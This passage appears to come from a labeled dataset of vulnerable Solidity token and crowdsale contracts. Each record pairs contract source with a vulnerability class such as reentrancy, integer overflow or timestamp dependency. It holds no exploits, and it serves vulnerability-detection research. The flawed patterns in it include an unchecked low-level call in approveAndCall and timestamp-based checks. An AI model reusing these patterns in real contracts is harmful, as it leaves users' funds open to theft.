_value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract Bitcoin9x is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. function Bitcoin9x( ) { balances[msg.sender] = 21000000000000000000000000; totalSupply = 21000000000000000000000000; name = ""Bitcoin9x""; decimals = 18; symbol = ""BTC9X""; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/reentrancy (RE)/,5,5 1512.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract CashTelex is StandardToken { string public constant name = ""Cash Telex""; string public constant symbol = ""CTLX""; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 800000000 * (10 ** uint256(decimals)); function CashTelex() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } }",./Dataset/integer overflow (OF)/,4,4 6053.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Crowdsale { using SafeMath for uint256; ERC20 public token; address public wallet; uint256 public rate; uint256 public weiRaised; event TokenPurchase( address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount ); constructor(uint256 _rate, address _wallet, ERC20 _token) public { require(_rate > 0); require(_wallet != address(0)); require(_token != address(0)); rate = _rate; wallet = _wallet; token = _token; } function () external payable { buyTokens(msg.sender); } function buyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase( msg.sender, _beneficiary, weiAmount, tokens ); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { require(_beneficiary != address(0)); require(_weiAmount != 0); } function _postValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal { } function _deliverTokens( address _beneficiary, uint256 _tokenAmount ) internal { token.transfer(_beneficiary, _tokenAmount); } function _processPurchase( address _beneficiary, uint256 _tokenAmount ) internal { _deliverTokens(_beneficiary, _tokenAmount); } function _updatePurchasingState( address _beneficiary, uint256 _weiAmount ) internal { } function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) { return _weiAmount.mul(rate); } function _forwardFunds() internal { wallet.transfer(msg.value); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 public openingTime; uint256 public closingTime; modifier onlyWhileOpen { require(block.timestamp >= openingTime && block.timestamp <= closingTime); _; } constructor(uint256 _openingTime, uint256 _closingTime) public { require(_openingTime >= block.timestamp); require(_closingTime >= _openingTime); openingTime = _openingTime; closingTime = _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > closingTime; } function _preValidatePurchase( address _beneficiary, uint256 _weiAmount ) internal onlyWhileOpen { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract FinalizableCrowdsale is TimedCrowdsale, Ownable { using SafeMath for uint256; bool public isFinalized = false; event Finalized(); function finalize() onlyOwner public { require(!isFinalized); require(hasClosed()); finalization(); emit Finalized(); isFinalized = true; } function finalization() internal { } } contract StageCrowdsale is FinalizableCrowdsale { bool public previousStageIsFinalized = false; StageCrowdsale public previousStage; constructor( uint256 _rate, address _wallet, ERC20 _token, uint256 _openingTime, uint256 _closingTime, StageCrowdsale _previousStage ) public Crowdsale(_rate, _wallet, _token) TimedCrowdsale(_openingTime, _closingTime) { previousStage = _previousStage; if (_previousStage == address(0)) { previousStageIsFinalized = true; } } modifier isNotFinalized() { require(!isFinalized, ""Call on finalized.""); _; } modifier previousIsFinalized() { require(isPreviousStageFinalized(), ""Call on previous stage finalized.""); _; } function finalizeStage() public onlyOwner isNotFinalized { _finalizeStage(); } function proxyBuyTokens(address _beneficiary) public payable { uint256 weiAmount = msg.value; _preValidatePurchase(_beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); weiRaised = weiRaised.add(weiAmount); _processPurchase(_beneficiary, tokens); emit TokenPurchase(tx.origin, _beneficiary, weiAmount, tokens); _updatePurchasingState(_beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(_beneficiary, weiAmount); } function isPreviousStageFinalized() public returns (bool) { if (previousStageIsFinalized) { return true; } if (previousStage.isFinalized()) { previousStageIsFinalized = true; } return previousStageIsFinalized; } function _finalizeStage() internal isNotFinalized { finalization(); emit Finalized(); isFinalized = true; } function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) internal isNotFinalized previousIsFinalized { super._preValidatePurchase(_beneficiary, _weiAmount); } } contract MultiStageCrowdsale is Ownable { uint256 public currentStageIndex = 0; StageCrowdsale[] public stages; event StageAdded(); function () external payable { buyTokens(msg.sender); } modifier hasCurrentStage() { require(currentStageIndex < stages.length); _; } modifier validBuyCall(address _beneficiary) { require(_beneficiary != address(0)); require(msg.value != 0); _; } function addStageCrowdsale(address _stageCrowdsaleAddress) public onlyOwner { require(_stageCrowdsaleAddress != address(0)); StageCrowdsale stageToBeAdded = StageCrowdsale(_stageCrowdsaleAddress); if (stages.length > 0) { require(stageToBeAdded.previousStage() != address(0)); StageCrowdsale lastStage = stages[stages.length - 1]; require(stageToBeAdded.openingTime() >= lastStage.closingTime()); } stages.push(stageToBeAdded); emit StageAdded(); } function buyTokens(address _beneficiary) public payable validBuyCall(_beneficiary) hasCurrentStage { StageCrowdsale stage = updateCurrentStage(); stage.proxyBuyTokens.value(msg.value)(_beneficiary); updateCurrentStage(); } function getCurrentStage() public view returns (StageCrowdsale) { if (stages.length > 0) { return stages[currentStageIndex]; } } function updateCurrentStage() public returns (StageCrowdsale currentStage) { if (currentStageIndex < stages.length) { currentStage = stages[currentStageIndex]; while (currentStage.isFinalized() && currentStageIndex + 1 < stages.length) { currentStage = stages[++currentStageIndex]; } } } }",./Dataset/timestamp dependency (TP)/,6,6 310.sol,"// Created using Token Wizard https://github.com/poanetwork/token-wizard by POA Network pragma solidity ^0.4.11; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of ""user permissions"". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // Temporarily have SafeMath here until all contracts have been migrated to SafeMathLib version from OpenZeppelin /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * Standard ERC20 token with Short Hand Attack and approve() race condition mitigation. * * Based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw; allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Upgrade agent interface inspired by Lunyr. * * Upgrade agent transfers tokens to a new contract. * Upgrade agent itself can be the token contract, or just a middle man contract doing the heavy lifting. */ contract UpgradeAgent { uint public originalSupply; /** Interface marker */ function isUpgradeAgent() public constant returns (bool) { return true; } function upgradeFrom(address _from, uint256 _value) public; } /** * A token upgrade mechanism where users can opt-in amount of tokens to the next smart contract revision. * * First envisioned by Golem and Lunyr projects. */ contract UpgradeableToken is StandardToken { /** Contract / person who can set the upgrade path. This can be the same as team multisig wallet, as what it is with its default value. */ address public upgradeMaster; /** The next contract where the tokens will be migrated. */ UpgradeAgent public upgradeAgent; /** How many tokens we have upgraded by now. */ uint256 public totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 0x0364a98148b7031451e79b93449b20090d79702a_DeveryRegistry.sol,"pragma solidity ^0.4.17; // ---------------------------------------------------------------------------- // Devery Contracts - The Monolithic Registry // // Deployed to Ropsten Testnet at 0x654f4a3e3B7573D6b4bB7201AB70d718961765CD // // Enjoy. // // (c) BokkyPooBah / Bok Consulting Pty Ltd for Devery 2017. The MIT Licence. // ---------------------------------------------------------------------------- // ---------------------------------------------------------------------------- // ERC Token Standard #20 Interface // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // ---------------------------------------------------------------------------- contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } // ---------------------------------------------------------------------------- // Owned contract // ---------------------------------------------------------------------------- contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } function Owned() public { owner = msg.sender; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = 0x0; } } // ---------------------------------------------------------------------------- // Administrators // ---------------------------------------------------------------------------- contract Admined is Owned { mapping (address => bool) public admins; event AdminAdded(address addr); event AdminRemoved(address addr); modifier onlyAdmin() { require(isAdmin(msg.sender)); _; } function isAdmin(address addr) public constant returns (bool) { return (admins[addr] || owner == addr); } function addAdmin(address addr) public onlyOwner { require(!admins[addr] && addr != owner); admins[addr] = true; AdminAdded(addr); } function removeAdmin(address addr) public onlyOwner { require(admins[addr]); delete admins[addr]; AdminRemoved(addr); } } // ---------------------------------------------------------------------------- // Devery Registry // ---------------------------------------------------------------------------- contract DeveryRegistry is Admined { struct App { address appAccount; string appName; address feeAccount; uint fee; bool active; } struct Brand { address brandAccount; address appAccount; string brandName; bool active; } struct Product { address productAccount; address brandAccount; string description; string details; uint year; string origin; bool active; } ERC20Interface public token; address public feeAccount; uint public fee; mapping(address => App) public apps; mapping(address => Brand) public brands; mapping(address => Product) public products; mapping(address => mapping(address => bool)) permissions; mapping(bytes32 => address) markings; address[] public appAccounts; address[] public brandAccounts; address[] public productAccounts; event TokenUpdated(address indexed oldToken, address indexed newToken); event FeeUpdated(address indexed oldFeeAccount, address indexed newFeeAccount, uint oldFee, uint newFee); event AppAdded(address indexed appAccount, string appName, address feeAccount, uint fee, bool active); event AppUpdated(address indexed appAccount, string appName, address feeAccount, uint fee, bool active); event BrandAdded(address indexed brandAccount, address indexed appAccount, string brandName, bool active); event BrandUpdated(address indexed brandAccount, address indexed appAccount, string brandName, bool active); event ProductAdded(address indexed productAccount, address indexed brandAccount, address indexed appAccount, string description, bool active); event ProductUpdated(address indexed productAccount, address indexed brandAccount, address indexed appAccount, string description, bool active); event Permissioned(address indexed marker, address indexed brandAccount, bool permission); event Marked(address indexed marker, address indexed productAccount, address appFeeAccount, address feeAccount, uint appFee, uint fee, bytes32 itemHash); // ------------------------------------------------------------------------ // Token, fee account and fee // ------------------------------------------------------------------------ function setToken(address _token) public onlyAdmin { TokenUpdated(address(token), _token); token = ERC20Interface(_token); } function setFee(address _feeAccount, uint _fee) public onlyAdmin { FeeUpdated(feeAccount, _feeAccount, fee, _fee); feeAccount = _feeAccount; fee = _fee; } // ------------------------------------------------------------------------ // Account can add itself as an App account // ------------------------------------------------------------------------ function addApp(string 